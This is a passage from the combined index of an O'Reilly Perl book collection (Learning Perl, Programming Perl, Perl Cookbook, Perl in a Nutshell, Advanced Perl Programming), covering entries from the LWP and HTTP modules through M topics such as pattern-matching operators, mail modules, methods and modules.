Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.1. Relational operators
lvaluable functions : Perl Cookbook, 1.1. Accessing Substrings
lvalues
Learning Perl on Win32 Systems, 3.4.1. Assignment
Programming Perl, 2.3.1. Variables
LWP library
Learning Perl, 19.10.3. Web Automation with LWP
Perl in a Nutshell, 17. The LWP Library
HTML modules : Perl in a Nutshell, 17.4. The HTML Module
HTML::Element : Perl in a Nutshell, 17.4.2. HTML::Element
HTML::FormatPS : Perl in a Nutshell, 17.4.4. HTML::FormatPS
HTML::FormatText : Perl in a Nutshell, 17.4.5. HTML::FormatText
HTML::Parser : Perl in a Nutshell, 17.4.1. HTML::Parser
HTML::TreeBuilder : Perl in a Nutshell, 17.4.3. HTML::TreeBuilder
HTTP modules
HTTP::Cookies : Perl in a Nutshell, 17.3.6. HTTP::Cookies
HTTP::Cookies::Netscape : Perl in a Nutshell, 17.3.6.1. HTTP::Cookies::Netscape
HTTP::Daemon : Perl in a Nutshell, 17.3.7. HTTP::Daemon
HTTP::Daemon::ClientConn : Perl in a Nutshell, 17.3.7.1. HTTP::Daemon::ClientConn methods
HTTP::Date : Perl in a Nutshell, 17.3.5. HTTP::Date
HTTP::Headers : Perl in a Nutshell, 17.3.3. HTTP::Headers
HTTP::Message : Perl in a Nutshell, 17.3.8. HTTP::Message
HTTP::Request
Perl in a Nutshell, 17.1. LWP Overview
Perl in a Nutshell, 17.3.1. HTTP::Request
HTTP::Response
Perl in a Nutshell, 17.1. LWP Overview
Perl in a Nutshell, 17.3.2. HTTP::Response
HTTP::Status : Perl in a Nutshell, 17.3.4. HTTP::Status
LWP modules : Perl Cookbook, 20.0. Introduction
extracting HTML tags : Perl Cookbook, 20.6. Extracting or Removing HTML Tags
LWP::Debug module : Perl in a Nutshell, 17.2. The LWP Modules
LWP::Heuristic module : Perl Cookbook, 20.1. Fetching a URL from a Perl Script
LWP::MediaTypes module : Perl in a Nutshell, 17.2. The LWP Modules
LWP::Protocol module : Perl in a Nutshell, 17.2. The LWP Modules
LWP::Request module : Perl Cookbook, 20.1. Fetching a URL from a Perl Script
LWP::Response module : Perl Cookbook, 20.1. Fetching a URL from a Perl Script
LWP::RobotUA module
Perl Cookbook, 20.11. Creating a Robot
Perl in a Nutshell, 17.2. The LWP Modules
Perl in a Nutshell, 17.2.1. LWP::RobotUA sections
LWP::Simple module
Perl Cookbook, 20.1. Fetching a URL from a Perl Script
Perl Cookbook, 20.10. Mirroring Web Pages
Perl in a Nutshell, 17.2. The LWP Modules
Perl in a Nutshell, 17.2.2. LWP::Simple
LWP::UserAgent module
Perl Cookbook, 20.1. Fetching a URL from a Perl Script
Perl in a Nutshell, 17.1. LWP Overview
Perl in a Nutshell, 17.2. The LWP Modules
Perl in a Nutshell, 17.2.3. LWP::UserAgent
URI modules : Perl in a Nutshell, 17.5. The URI Module
URI::Escape : Perl in a Nutshell, 17.5. The URI Module
URI::Heuristic : Perl in a Nutshell, 17.5. The URI Module
URI::URL : Perl in a Nutshell, 17.5.2. URI::URL

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: M

m command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: m
m command (Perl debugger) : Perl in a Nutshell, Chapter 6, Reference: m
-M file test operator
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
examples of
Learning Perl, 1.5.11. Ensuring a Modest Amount of Security
Learning Perl on Win32 Systems, 1.6.11. Ensuring a Modest Amount of Security
/m modifier
Perl Cookbook, 6.0. Introduction
Learning Perl, 7.4.3. Using a Different Delimiter
Perl in a Nutshell, 4.6.1. Pattern-Matching Operators
Perl in a Nutshell, 4.6.8. Extended Regular Expressions
Programming Perl, 2.4. Pattern Matching
Programming Perl, 2.4.2. Pattern-Matching Operators
matching multiple lines : Perl Cookbook, 6.6. Matching Multiple Lines
-m switch, perl
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
-M switch, perl
Advanced Perl Programming, 19.4. Adding Extensions
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
m// (match) operator
Perl in a Nutshell, 4.6. Regular Expressions
Programming Perl, 2.4. Pattern Matching
Programming Perl, 2.4.2. Pattern-Matching Operators
Programming Perl, 3.2.1. /PATTERN/
Programming Perl, 8.1.1. Debugger Commands
Programming Perl, 8.2.1. Universal Blunders
~ operator with : Perl Cookbook, 1.1. Accessing Substrings
modifiers for : Programming Perl, 2.4.2. Pattern-Matching Operators
pos function and : Programming Perl, 3.2.109. pos
m?? (match) operator
Perl in a Nutshell, 4.6.1. Pattern-Matching Operators
Perl in a Nutshell, 4.6.6. Quantifiers
Programming Perl, 2.4.2. Pattern-Matching Operators
Programming Perl, 3.2.2. ?PATTERN?
Programming Perl, 8.1.1. Debugger Commands
reset function and : Programming Perl, 3.2.124. reset
macdef entries (.netrc) : Perl in a Nutshell, 16.3. FTP Configuration with Net::Netrc
MacEachern, Doug : Perl in a Nutshell, 11. Web Server Programming with mod_perl
machine entries (.netrc) : Perl in a Nutshell, 16.3. FTP Configuration with Net::Netrc
machine independence : Advanced Perl Programming, 10.1. Persistence Issues
Macintosh, and Perl : Learning Perl, 1.3. Availability
macros to manipulate stacks : Advanced Perl Programming, 20.4.2. The Called Side: Hand-Coding an XSUB
magic ARGV : (see magic open)
magic open
Perl Cookbook, 5.16. Program: dutree
Perl Cookbook, 8.19. Program: tctee
Perl Cookbook, 16.6. Preprocessing Input
magic variables
Advanced Perl Programming, 20.3.6. Magic Variables
Perl Cookbook, 13.15. Creating Magic Variables with tie
mail : (see email)
mail() (Net::SMTP) : Perl in a Nutshell, Chapter 14, Reference: mail
MAIL command (SMTP) : Perl in a Nutshell, 14.1.2. The SMTP Protocol and the SMTP Session
Mail modules
Perl in a Nutshell, 14. Email Connectivity
Perl in a Nutshell, 14.2. The Mail Modules
Mail::Address module : Perl in a Nutshell, 14.2.6. Parse Email Addresses with Mail::Address
Mail::Folder module : Perl in a Nutshell, 14.2.3. Handle Folders with Mail::Folder
Mail::Internet module : Perl in a Nutshell, 14.2.4. Handle Messages with Mail::Internet
Mail::Mailer module
Perl Cookbook, 18.3. Sending Mail
Perl in a Nutshell, 14.2.1. Send Email with Mail::Mailer
Mail::POP3Client module : Perl in a Nutshell, 14.2.8. Reading Email with Mail::POP3Client
Mail::Send module : Perl in a Nutshell, 14.2.2. Better Header Control with Mail::Send
mail process, example of : Learning Perl, 1.5.12. Warning Someone When Things Go Astray
mailing lists, Perl-related
Learning Perl, Support
Learning Perl on Win32 Systems, 1.4. Support
Perl in a Nutshell, 1.4.3. Mailing Lists
MailTools collection : Perl in a Nutshell, 14. Email Connectivity
main (top-level) window, Perl/Tk : Advanced Perl Programming, 14.2. Starting with Perl/Tk
main namespace : Perl in a Nutshell, 7.1. Namespaces and Packages
main routine, unneeded in Perl
Learning Perl, 1.4. Basic Concepts
Learning Perl on Win32 Systems, 1.5. Basic Concepts
MainLoop statement (Perl/Tk) : Perl in a Nutshell, 18. Perl/Tk
maintaining state (CGI) : Perl in a Nutshell, 10.3. Maintaining State
make command
Perl in a Nutshell, Chapter 2, Reference: make
Perl in a Nutshell, 2.4.2. Module Installation
Programming Perl, 7.2.18.1. Targets
Makefiles
Advanced Perl Programming, 18.2.1. Fractals Using SWIG
Perl in a Nutshell, 2.4.2. Module Installation
Programming Perl, 7.2.18. ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
MakeMaker module
(see also Harness module)
Perl in a Nutshell, 2.4.3.1. Using MakeMaker
Programming Perl, 7.2.18. ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
Programming Perl, 7.2.66. Test::Harness - Run Perl Standard Test Scripts with Statistics
MakeMask() (Win32::FileSecurity) : Perl in a Nutshell, Chapter 19, Reference: MakeMask
malloc command (C) : Advanced Perl Programming, 1. Data References and Anonymous Storage
man command
Perl in a Nutshell, 2.5.1. Installing the Documentation
Programming Perl, Perl Manpages
man pages
Advanced Perl Programming, 16.1. man and perlman
Perl in a Nutshell, Chapter 4, Reference: pod2man
Perl in a Nutshell, 2.5.2. The Perl Manpages
Programming Perl, Perl Manpages
Mandelbrot code example
Advanced Perl Programming, 18.2. Example: Fractals with Perl
Advanced Perl Programming, 18.6. A Detour into Fractals
manicheck() : Programming Perl, 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
manicopy() : Programming Perl, 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
Manifest module : Programming Perl, 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
manifind() : Programming Perl, 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
maniread() : Programming Perl, 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
manpages
Advanced Perl Programming, 16.1. man and perlman
Perl in a Nutshell, Chapter 4, Reference: pod2man
Perl in a Nutshell, 2.5.2. The Perl Manpages
Programming Perl, Perl Manpages
many-to-many associations : Advanced Perl Programming, 11.2.7. Object Associations
map()
Perl Cookbook, 4.15. Sorting a List by Computable Field
Learning Perl on Win32 Systems, D.5.1. grep and map
Perl in a Nutshell, Chapter 5, Reference: map
Programming Perl, 3.2.91. map
Programming Perl, 8.4. Programming with Style
MAPI : Learning Perl on Win32 Systems, 19.3. Using Automation Objects
mark() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: mark
mark_list() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: mark_list
mark_range() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: mark_range
marked() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: marked
marked_articles() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: marked_articles
markGravity() (Text widget) : Perl in a Nutshell, 18.11.4. Marks
markNames() (Text widget) : Perl in a Nutshell, 18.11.4. Marks
marks
Advanced Perl Programming, 14.3.5.2. Inserting text at logical positions
Perl in a Nutshell, 18.11.4. Marks
markSet() (Text widget) : Perl in a Nutshell, 18.11.4. Marks
markstacks : Advanced Perl Programming, 20.4. Stacks and Messaging Protocol
markUnset() (Text widget) : Perl in a Nutshell, 18.11.4. Marks
marshalling parameters : Advanced Perl Programming, 13.2. Remote Procedure Calls (RPC)
match (m//) operator
Learning Perl, 7.2. Simple Uses of Regular Expressions
Programming Perl, 2.4. Pattern Matching
Programming Perl, 2.4.2. Pattern-Matching Operators
Programming Perl, 3.2.1. /PATTERN/
Programming Perl, 8.1.1. Debugger Commands
Programming Perl, 8.2.1. Universal Blunders
examples of
Learning Perl, 1.5.7. Handling Varying Input Formats
Learning Perl on Win32 Systems, 1.6.7. Handling Varying Input Formats
modifiers for : Programming Perl, 2.4.2. Pattern-Matching Operators
pos function and : Programming Perl, 3.2.109. pos
match (m??) operator
Learning Perl, 7.2. Simple Uses of Regular Expressions
Programming Perl, 2.4.2. Pattern-Matching Operators
Programming Perl, 3.2.2. ?PATTERN?
Programming Perl, 8.1.1. Debugger Commands
examples of
Learning Perl, 1.5.7. Handling Varying Input Formats
Learning Perl on Win32 Systems, 1.6.7. Handling Varying Input Formats
reset function and : Programming Perl, 3.2.124. reset
$MATCH ($&) variable
Learning Perl, 7.4.5. Special Read-Only Variables
Perl in a Nutshell, 4.4.5. Regular Expression Special Variables
Programming Perl, 2.4.1.3. The fine print
Programming Perl, 2.9.1. Regular Expression Special Variables
Programming Perl, 6.4.2.2. a2p
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Programming Perl, 8.3.1. Time Efficiency
matching : (see patterns)
patterns : (see pattern matching)
regular expressions : (see regular expressions)
Soundex matching : Perl Cookbook, 1.16. Soundex Matching
math
(see also numbers)
Programming Perl, 7.2.48. overload - Overload Perl's Mathematical Operations
Math modules
Learning Perl on Win32 Systems, B.2.7. Mathematics
Perl in a Nutshell, 8.105. Math::BigFloat
Math::BigFloat module
Perl in a Nutshell, 8.105. Math::BigFloat
Programming Perl, 7.2.42. Math::BigFloat - Arbitrary-Length, Floating-Point Math Package
Math::BigInt module
Perl in a Nutshell, 8.106. Math::BigInt
Programming Perl, 7.2.43. Math::BigInt - Arbitrary-Length Integer Math Package
Math::Complex module
Perl Cookbook, 2.13. Taking Logarithms
Perl Cookbook, 2.15. Using Complex Numbers
Perl in a Nutshell, 8.107. Math::Complex
Programming Perl, 7.2.44. Math::Complex - Complex Numbers Package
Math::Random module : Perl Cookbook, 2.9. Making Numbers Even More Random
Math::Trig module
Perl Cookbook, 2.11. Doing Trigonometry in Degrees, not Radians
Perl in a Nutshell, 8.108. Math::Trig
Math::TrulyRandom module : Perl Cookbook, 2.9. Making Numbers Even More Random
operators : (see arithmetic operators; operators)
overloading operations : Programming Perl, 7.2.48. overload - Overload Perl's Mathematical Operations
matrices data structure (example) : Advanced Perl Programming, 2.2. Example: Matrices
matrix multiplication : Perl Cookbook, 2.14. Multiplying Matrices
Max Headroom
Learning Perl, 13.7. Modifying Timestamps
Learning Perl on Win32 Systems, 13.5. Modifying Timestamps
max_size() (LWP::UserAgent) : Perl in a Nutshell, Chapter 17, Reference: max_size
maximal matching quantifiers : Perl Cookbook, 6.15. Greedy and Non-Greedy Matches
maxsize() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
MaxWindow() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: MaxWindow
McMenamin's
Learning Perl, Acknowledgments for the First Edition
Learning Perl on Win32 Systems, Acknowledgments for First Edition
mdtm() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: mdtm
memoizing technique : Perl Cookbook, 4.19. Program: permute
memory
Perl in a Nutshell, 4.2.4. Variables
Perl in a Nutshell, 7.1. Namespaces and Packages
denial of resource attacks : Advanced Perl Programming, 20.2.2.3. Security features
efficiency of : Programming Perl, 8.3.2. Space Efficiency
fault, as a signal to a process : Learning Perl, 14.6. Sending and Receiving Signals
garbage collection
Advanced Perl Programming, 1.6.1. Reference Counts
Perl Cookbook, 13.2. Destroying an Object
Programming Perl, 5.3.9. A Note on Garbage Collection
circular data structures and : Perl Cookbook, 13.13. Coping with Circular Data Structures
objects and : Advanced Perl Programming, 7.2.7. Object Destruction
in-memory databases : Programming Perl, 7.2.8.4. In-memory databases
interpeting bytes in : Learning Perl on Win32 Systems, 16.2. Packing and Unpacking Binary Data
managing
Advanced Perl Programming, 1.6. A View of the Internals
Advanced Perl Programming, 18.1. Writing an Extension: Overview
preallocating for hashes : Perl Cookbook, 5.13. Presizing a Hash
shared memory segment ID : Programming Perl, 3.2.145. shmget
XS tool and : Advanced Perl Programming, 20.5.6. Memory Management Using XS
menu() (Menubutton) : Perl in a Nutshell, 18.14.2. Menubutton Methods
-menu option
Menubutton widget
Perl in a Nutshell, 18.14. The Menubutton Widget
Perl in a Nutshell, 18.14.1. Menu Item Options
Optionmenu widget : Perl in a Nutshell, 18.16. The Optionmenu Widget
Menu widgets (Perl/Tk)
Advanced Perl Programming, A.5. Menus
Advanced Perl Programming, 14.3.8. Menus
Perl in a Nutshell, 18.15. The Menu Widget
Menubutton widget (Perl/Tk)
Advanced Perl Programming, 14.3.8. Menus
Perl Cookbook, 15.14. Creating Menus with Tk
Perl in a Nutshell, 18.14. The Menubutton Widget
-menuitems option
Menu widget : Perl in a Nutshell, 18.15. The Menu Widget
Menubutton widget : Perl in a Nutshell, 18.14. The Menubutton Widget
menus, popup
Learning Perl, 19.7. Other Form Elements
Learning Perl, 19.7.1. References
merging DBM files : Perl Cookbook, 14.4. Merging DBM Files
merging hashes : Perl Cookbook, 5.10. Merging Hashes
message() (HTTP::Response) : Perl in a Nutshell, Chapter 17, Reference: message
Message() (Mail::POP3Client) : Perl in a Nutshell, Chapter 14, Reference: Message
message_exists() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: message_exists
message_list() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: message_list
message-embedded scripts : Perl in a Nutshell, 3.2. Command-Line Options
message-oriented protocols : Perl in a Nutshell, 13. Sockets
messages
definition of : Advanced Perl Programming, 13. Networking: Implementing RPC
error : Programming Perl, 7.2.5. Carp - Generate Error Messages
functions for : Programming Perl, 3.2.93. msgctl
passing with UDP : Programming Perl, 6.2.4.3. UDP: message passing
receiving on sockets : Programming Perl, 3.2.119. recv
script embedded in : Programming Perl, 6.1.2. Switches
sending to socket : Programming Perl, 3.2.139. send
messages, error : (see errors)
messaging protocol : Advanced Perl Programming, 20.4. Stacks and Messaging Protocol
meta-information
Advanced Perl Programming, B.8. Meta-Information
Advanced Perl Programming, 10.1. Persistence Issues
Advanced Perl Programming, 10.4.1.3. Query meta-data
Advanced Perl Programming, 10.4.1.6. What DBI does not provide
metacharacters
Perl in a Nutshell, 4.6.2. Regular Expression Syntax
Programming Perl, 2.4.1.1. The regular expression bestiary
Programming Perl, 8.3.1. Time Efficiency
anchors : Perl in a Nutshell, 4.6.5. Anchors
character classes : Perl in a Nutshell, 4.6.4. Character Classes
escaped sequences : Perl in a Nutshell, 4.6.3. Escaped Sequences
escaping with quotemeta : Programming Perl, 3.2.114. quotemeta
in exec arguments : Programming Perl, 3.2.33. exec
quantifiers : Perl in a Nutshell, 4.6.6. Quantifiers
metadata
Advanced Perl Programming, B.8. Meta-Information
Advanced Perl Programming, 10.1. Persistence Issues
Advanced Perl Programming, 10.4.1.3. Query meta-data
Advanced Perl Programming, 10.4.1.6. What DBI does not provide
metaFAQ : Programming Perl, Frequently Asked Questions List
method() (HTTP::Request) : Perl in a Nutshell, Chapter 17, Reference: method
Method() : Programming Perl, 7.2.48.9. Public functions
method attribute (<form> tags) : Perl in a Nutshell, 9.1.1. Transferring the Form Data
methods
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.3. Managing Instance Data
Learning Perl, 19.8.1. Object-Oriented Programming in Perl
Learning Perl on Win32 Systems, 19.1. Introduction to OLE Automation
Perl in a Nutshell, 7.3. Object-Oriented Perl
Programming Perl, 4.3.4. Using Object Methods
Programming Perl, 5.3.1. Brief Refresher on Object-Oriented Programming
Programming Perl, 5.3.5. A Method Is Simply a Subroutine
accessor methods : Advanced Perl Programming, 7.2.8. Accessor Methods
autogenerated substitute : Programming Perl, 7.2.48.7. Autogeneration
autoloading
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.11. Generating Attribute Methods Using AUTOLOAD
Programming Perl, 5.3.8. Method Autoloading
class (static) methods
Advanced Perl Programming, 7.2.5. Class Methods and Attributes
Perl in a Nutshell, 7.4. Object Syntax
functions vs. : Perl Cookbook, 13.9. Writing an Inheritable Class
HTTP methods
Perl Cookbook, 19.0. Introduction
Perl Cookbook, 19.1. Writing a CGI Script
indirect notation
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.7. Calling Methods Indirectly
instance methods
Advanced Perl Programming, 7.2.3. Behavior
Advanced Perl Programming, 7.2.4. The Need for Polymorphism
Perl in a Nutshell, 7.4. Object Syntax
invoking : Programming Perl, 5.3.6. Method Invocation
names for : Programming Perl, 8.4. Programming with Style
overriding
Perl Cookbook, 13.10. Accessing Overridden Methods
Programming Perl, 5.5.6. Overriding Base Class Methods
references to : Perl Cookbook, 11.8. Creating References to Methods
searching for : Advanced Perl Programming, 7.3.1. Searching for Methods
SWIG : Advanced Perl Programming, 18.3. SWIG Features
widget methods (Perl/Tk)
Advanced Perl Programming, A. Tk Widget Reference
Perl in a Nutshell, 18.1.1. Widget Methods
microbrew
Learning Perl, Acknowledgments for the First Edition
Learning Perl on Win32 Systems, Acknowledgments for First Edition
minigrep program (example) : Perl Cookbook, 6.17. Expressing AND, OR, and NOT in a Single Pattern
minimal matching
Perl Cookbook, 6.15. Greedy and Non-Greedy Matches
Perl in a Nutshell, 4.6.6. Quantifiers
Programming Perl, 1.7.2. Minimal Matching
Miniperl module : Programming Perl, 7.2.20. ExtUtils::Miniperl - Write the C Code for perlmain.c
minsize() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
minus (-) operator : Programming Perl, 2.5.5. Ideographic Unary Operators
minus sign : (see - (hyphen))
minutes : (see date and time)
mirror()
LWP::Simple module
Perl Cookbook, 20.10. Mirroring Web Pages
Perl in a Nutshell, Chapter 17, Reference: mirror
LWP::UserAgent module : Perl in a Nutshell, Chapter 17, Reference: mirror
mirroring web pages : Perl Cookbook, 20.10. Mirroring Web Pages
mjd_permute program (example) : Perl Cookbook, 4.19. Program: permute
mkbootstrap() : Programming Perl, 7.2.21. ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader
mkdir()
Learning Perl, 13.4. Making and Removing Directories
Learning Perl on Win32 Systems, 13.3. Making and Removing Directories
Perl in a Nutshell, Chapter 5, Reference: mkdir
Programming Perl, 3.2.92. mkdir
Net::FTP module : Perl in a Nutshell, Chapter 16, Reference: mkdir
Mkdir() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Mkdir
mkfifo command (UNIX) : Programming Perl, 6.2.2.4. Named pipes
mkmanifest() : Programming Perl, 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
mknod command (UNIX) : Programming Perl, 6.2.2.4. Named pipes
mkpath() : Programming Perl, 7.2.31. File::Path - Create or Remove a Series of Directories
Mksymlists() : Programming Perl, 7.2.22. ExtUtils::Mksymlists - Write Linker Option Files for Dynamic Extension
MLDBM module
Advanced Perl Programming, 10.3.2. MLDBM
Perl Cookbook, 11.14. Transparently Persistent Data Structures
Perl Cookbook, 14.0. Introduction
Perl Cookbook, 14.8. Storing Complex Data in a DBM File
persistent data : Perl Cookbook, 14.9. Persistent Data
mldbm_demo program (example) : Perl Cookbook, 14.9. Persistent Data
MM_OS2 module : Programming Perl, 7.2.23. ExtUtils::MM_OS2 - Methods to Override UNIX Behavior in ExtUtils::MakeMaker
MM_Unix module : Programming Perl, 7.2.24. ExtUtils::MM_Unix - Methods Used by ExtUtils::MakeMaker
MM_VMS module : Programming Perl, 7.2.25. ExtUtils::MM_VMS - Methods to Override UNIX Behavior in ExtUtils::MakeMaker
-mod option (perlcc) : Perl in a Nutshell, 3.4. The Perl Compiler
mod_include module : Perl in a Nutshell, 11.5. Server-Side Includes with mod_perl
mod_perl module
Perl Cookbook, 19.5. Making CGI Scripts Efficient
Learning Perl, 19.10.2. Embedded Perl
Perl in a Nutshell, 11. Web Server Programming with mod_perl
installing : Perl in a Nutshell, 11.2. Installing mod_perl
<Perl> directives (Apache) : Perl in a Nutshell, 11.6. <Perl> Sections
running CGI scripts with : Perl in a Nutshell, 11.4. Running CGI Scripts with mod_perl
SSI with : Perl in a Nutshell, 11.5. Server-Side Includes with mod_perl
$mode file statistic : Programming Perl, 3.2.159. stat
Mode()
Win32::Console module : Perl in a Nutshell, Chapter 19, Reference: Mode
Win32::Internet module : Perl in a Nutshell, Chapter 19, Reference: Mode
modes, and making directories
Learning Perl, 13.4. Making and Removing Directories
Learning Perl on Win32 Systems, 13.3. Making and Removing Directories
modification time
Perl Cookbook, 9.0. Introduction
Programming Perl, 3.2.159. stat
Programming Perl, 3.2.186. utime
changing
Learning Perl, 13.7. Modifying Timestamps
Learning Perl on Win32 Systems, 13.5. Modifying Timestamps
examples of
Learning Perl, 1.5.11. Ensuring a Modest Amount of Security
Learning Perl on Win32 Systems, 1.6.11. Ensuring a Modest Amount of Security
modified hyperlinks, finding : Perl Cookbook, 20.8. Finding Fresh Links
modifiers for statement : Programming Perl, 2.6.1. Simple Statements
modifiers, conditional : Perl in a Nutshell, 4.3.1.4. Modifiers
modifiers, event : Advanced Perl Programming, 14.6. Event Bindings
modifying files : (see file contents)
modules, Perl
(see also packages)
Advanced Perl Programming, 6. Modules
Advanced Perl Programming, 6.5. Importing Symbols
Advanced Perl Programming, Language Syntax
Perl Cookbook, 12.0. Introduction
Learning Perl on Win32 Systems, B.1. Library Terminology
Perl in a Nutshell, 1.1. What's Perl Good For?
Perl in a Nutshell, 7. Packages, Modules, and Objects
Perl in a Nutshell, 7.2. Modules
Programming Perl, 5. Packages, Modules, and Object Classes
Programming Perl, 5.1.3. Autoloading
Programming Perl, 5.2. Modules
Programming Perl, 7. The Standard Perl Library
Programming Perl, Perl in a Nutshell
autoloading for
Advanced Perl Programming, 6.7. Autoloading
Perl Cookbook, 12.10. Speeding Up Module Loading with Autoloader
Programming Perl, 7.2.3. AutoSplit - Split a Module for Autoloading
Programming Perl, 7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
Programming Perl, 7.2.12. DynaLoader - Automatic Dynamic Loading of Perl Modules
automatic set-up/clean-up : Perl Cookbook, 12.6. Automating Module Clean-Up
compiling into shared objects : Perl in a Nutshell, 3.4. The Perl Compiler
conventions for : Advanced Perl Programming, 7.4. Recap of Conventions
CPAN : (see CPAN)
designing interface for : Perl Cookbook, 12.1. Defining a Module's Interface
directories of : Perl Cookbook, 12.7. Keeping Your Own Module Directory
documenting with pod : Perl Cookbook, 12.16. Documenting Your Module with Pod
sorting =head1 sections : Perl Cookbook, 15.19. Program: tkshufflepod
files and : Advanced Perl Programming, 6.2. Packages and Files
finding, program for : Perl Cookbook, 12.19. Program: Finding Versions and Descriptions of Installed Modules
importing : Programming Perl, 7.2.15. Exporter - Default Import Method for Modules
initializing and destroying : Advanced Perl Programming, 6.3. Package Initialization and Destruction
@ISA array : Advanced Perl Programming, 7.2.6. The Need for Inheritance
list of
Learning Perl on Win32 Systems, B.2. Standard Modules
Perl in a Nutshell, 8. Standard Modules
loading
Advanced Perl Programming, 6.7. Autoloading
Perl Cookbook, 12.3. Delaying use Until Run Time
-m, -M options (perl) : Perl in a Nutshell, 3.2. Command-Line Options
names for : Programming Perl, 8.4. Programming with Style
nested : Advanced Perl Programming, 6.6. Nesting Packages
obtaining
Perl in a Nutshell, 2.2. How Is CPAN Organized?
Perl in a Nutshell, 2.4. Getting and Installing Modules
Programming Perl, Fetching modules
overriding built-in functions : Perl Cookbook, 12.11. Overriding Built-In Functions
in other languages : Advanced Perl Programming, 6.9. Language Comparisons
prebuilt clients : Advanced Perl Programming, 12.6. Prebuilt Client Modules
preparing for distribution : Perl Cookbook, 12.8. Preparing a Module for Distribution
privacy and : Advanced Perl Programming, 6.4. Privacy
private variables and functions : Perl Cookbook, 12.4. Making Variables Private to a Module
reporting errors like built-ins : Perl Cookbook, 12.12. Reporting Errors and Warnings Like Built-Ins
SelfLoader module : Perl Cookbook, 12.9. Speeding Module Loading with SelfLoader
syntax for : Advanced Perl Programming, B.4. Modules
template for : Perl Cookbook, 12.18. Example: Module Template
trapping errors in use/requre : Perl Cookbook, 12.2. Trapping Errors in require or use
version checking : Programming Perl, 7.2.15.2. Module version checking
Win32 extensions : Learning Perl on Win32 Systems, B.4. Win32 Extensions
writing in C : Perl Cookbook, 12.15. Using h2xs to Make a Module with C Code
modulus (%) operator
Learning Perl, 2.4.1. Operators for Numbers
Perl in a Nutshell, 4.5.3. Arithmetic Operators
Programming Perl, 2.5.7. Multiplicative Operators
monitoring variables (example) : Advanced Perl Programming, 9.5. Example: Monitoring Variables
months : (see date and time)
more than sign : (see < > (angle brackets))
mortal calls : Advanced Perl Programming, 20.3.1. Scalar Values
MouseButtons() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: MouseButtons
move() (Canvas) : Perl in a Nutshell, 18.12.3. Canvas Methods
moving files : Perl Cookbook, 9.3. Copying or Moving a File
MS/DOS, Perl under : Learning Perl, 1.3. Availability
Msg module
Advanced Perl Programming, 13.1.1. Msg Implementation
Advanced Perl Programming, 13.1. Msg: Messaging Toolkit
msgctl()
Perl in a Nutshell, Chapter 5, Reference: msgctl
Programming Perl, 3.2.93. msgctl
msgget()
Perl in a Nutshell, Chapter 5, Reference: msgget
Programming Perl, 3.2.94. msgget
msgrcv()
Perl in a Nutshell, Chapter 5, Reference: msgrcv
Programming Perl, 3.2.95. msgrcv
msgsnd()
Perl in a Nutshell, Chapter 5, Reference: msgsnd
Programming Perl, 3.2.96. msgsnd
$mtime file statistic : Programming Perl, 3.2.159. stat
mtime field : Perl Cookbook, 9.0. Introduction
multidimensional arrays
Advanced Perl Programming, 1.3.2. Final Shortcut: Omit Arrows Between Subscripts
Perl Cookbook, 4.0. Introduction
Programming Perl, 4.6. A Brief Tutorial: Manipulating Lists of Lists
Programming Perl, 4.7.1. Arrays of Arrays
emulation syntax : Perl Cookbook, 9.4. Recognizing Two Names for the Same File
matrix representation with : Advanced Perl Programming, 2.2. Example: Matrices
multidimensional hashes : Programming Perl, 4.7.4. Hashes of Hashes
multihomed servers : Perl Cookbook, 17.14. Writing a Multi-Homed Server
multiline fieldholder
Learning Perl, 11.4.3. Multiline Fields
Perl in a Nutshell, 4.10. Formats
$MULTILINE_MATCHING : Programming Perl, 2.9.1. Regular Expression Special Variables
multiline scripts : Perl in a Nutshell, 3.2. Command-Line Options
multiline substitutions : Programming Perl, 2.4.1.3. The fine print
multipattern grep (example) : Advanced Perl Programming, 5.5.1. A Fast Multipattern grep
multiple-byte character matching : Perl Cookbook, 6.18. Matching Multiple-Byte Characters
multiple commands, in arguments to system() : Learning Perl, 14.1. Using system and exec
multiple inheritance : Perl Cookbook, 13.0. Introduction
multiplex service, CPAN : Perl in a Nutshell, 2.1. The CPAN Architecture
multiplexing : Advanced Perl Programming, 12.3.2. Multiplexing Using select
multiplication of matrices : Perl Cookbook, 2.14. Multiplying Matrices
multiplication operators
(see also division operators)
